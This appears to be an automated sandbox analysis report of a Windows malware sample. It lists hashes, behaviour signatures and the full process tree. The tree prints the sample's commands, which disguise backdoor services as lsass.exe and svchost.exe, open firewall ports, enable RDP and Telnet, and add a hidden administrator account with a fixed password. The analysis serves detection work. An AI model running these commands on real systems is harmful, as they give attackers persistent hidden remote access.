Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    16-09-2024 00:00

General

  • Target

    e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe

  • Size

    1.2MB

  • MD5

    e3a04b3afb014a8d3a221873d65de82e

  • SHA1

    f33468a5614b981052212bdf9a2060eb54b9e52b

  • SHA256

    331e3adde8909777973f5e11c688fc3b9be605a4cf52f80171c23be73e94f894

  • SHA512

    4f0db7e6c49297770808844507a3ed29f326eb698f04f3175c890b55a023fd4898c808e2eb54b85951473f1997d9b27cb299cb92c96d93e782a228c044338bfb

  • SSDEEP

    24576:Ur28+fzWEEMQsBgNIMXm8Azq1H4mHpi2Lpp6+pzzf5aZK56zOKZAqYwnkYIg:Q+1QaB8YqG+JlzkzY6kYIg

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Creates new service(s) 2 TTPs
  • Modifies Windows Firewall 2 TTPs 7 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

  • Hide Artifacts: Hidden Users 1 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 21 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2368
    • C:\Windows\SysWOW64\sc.exe
      sc stop "ProtocolWindows_ "
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2356
    • C:\Windows\SysWOW64\sc.exe
      sc delete "ProtocolWindows_ "
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2104
    • C:\Windows\SysWOW64\sc.exe
      sc stop "PlugAndPlay"
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:584
    • C:\Windows\SysWOW64\sc.exe
      sc delete "PlugAndPlay"
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2808
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ctfmon.exe
      2⤵
      • System Location Discovery: System Language Discovery
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2760
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c ctfmon.exe
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2776
      • C:\Windows\SysWOW64\ctfmon.exe
        ctfmon.exe
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2684
    • C:\Windows\SysWOW64\sc.exe
      sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2668
    • C:\Windows\SysWOW64\sc.exe
      sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3044
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" ENABLE
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:2248
    • C:\Windows\SysWOW64\sc.exe
      sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" type= own start= auto error= ignore
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1988
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" /f
      2⤵
      • Sets service image path in registry
      • System Location Discovery: System Language Discovery
      PID:2576
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1220
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1924
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe" ENABLE
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:1664
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram ctfmon.exe ENABLE
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:276
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 3389 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:1940
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 31337 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:1840
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 80 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:2852
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening protocol = TCP port = 8080 name = TCP
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:2084
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe" -silent
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:3060
    • C:\Windows\SysWOW64\sc.exe
      sc start mnmsrvc
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2928
    • C:\Windows\SysWOW64\sc.exe
      sc Start TlntSvr
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1148
    • C:\Windows\SysWOW64\sc.exe
      sc Start TermService
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1528
    • C:\Windows\SysWOW64\net.exe
      net start FastUserSwitchingCompatibility
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1860
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 start FastUserSwitchingCompatibility
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2552
    • C:\Windows\SysWOW64\net.exe
      net start TermService
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2024
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 start TermService
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2924
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2432
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1008
    • C:\Windows\SysWOW64\net.exe
      net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
      2⤵
      • System Location Discovery: System Language Discovery
      PID:900
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1112
    • C:\Windows\SysWOW64\net.exe
      net localgroup Microsoft /add
      2⤵
      • System Location Discovery: System Language Discovery
      PID:792
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 localgroup Microsoft /add
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2476
    • C:\Windows\SysWOW64\net.exe
      net localgroup Àäìèíèñòðàòîðû Microsoft /add
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1568
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1848
    • C:\Windows\SysWOW64\net.exe
      net localgroup Administrators Microsoft /add
      2⤵
      • System Location Discovery: System Language Discovery
      PID:752
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 localgroup Administrators Microsoft /add
        3⤵
        • System Location Discovery: System Language Discovery
        PID:988
    • C:\Windows\SysWOW64\net.exe
      net accounts /maxpwage:unlimited
      2⤵
      • System Location Discovery: System Language Discovery
      PID:664
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 accounts /maxpwage:unlimited
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3016
    • C:\Windows\SysWOW64\REG.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f
      2⤵
      • Hide Artifacts: Hidden Users
      • System Location Discovery: System Language Discovery
      PID:2892

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe

    Filesize

    85KB

    MD5

    e0b8d7ad878eff7bdfba66d17665eb58

    SHA1

    ec4ab8ed9ca2ad06749851a76451108b4c608eba

    SHA256

    779a40fca7a3680a1dcbf08e53be5a63ce41564d452c3053f03e487c8de39952

    SHA512

    17e457940e4117cc7bd59e6743bf2877495201a3e277ef3133b6370f1148f54a85acc91ab6747b97c1f3beacc49a2fda01bdb89e3d7c6ff6ac76c801e15be650

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe

    Filesize

    44KB

    MD5

    382cebd78ad354b1dfd91dc8176615f6

    SHA1

    5c734f779cf23cee4d7260a0eee3ce1ed888f1c0

    SHA256

    067f0765790c0e75c3774f4c5890ddacb8b99ecd6f80743d68aad9d34de8b445

    SHA512

    650a3be640baac30d3c36185048c6f4e5b2536cf0086b49386ea7149c7148cc1ce4f12c7832ddb2520677d67f15214b0c8e41c0eed5938b0283b1374f6bdd197

  • memory/2368-0-0x0000000000400000-0x0000000000423000-memory.dmp

    Filesize

    140KB

  • memory/2368-14-0x0000000000400000-0x0000000000423000-memory.dmp

    Filesize

    140KB

  • memory/2368-27-0x0000000000400000-0x0000000000423000-memory.dmp

    Filesize

    140KB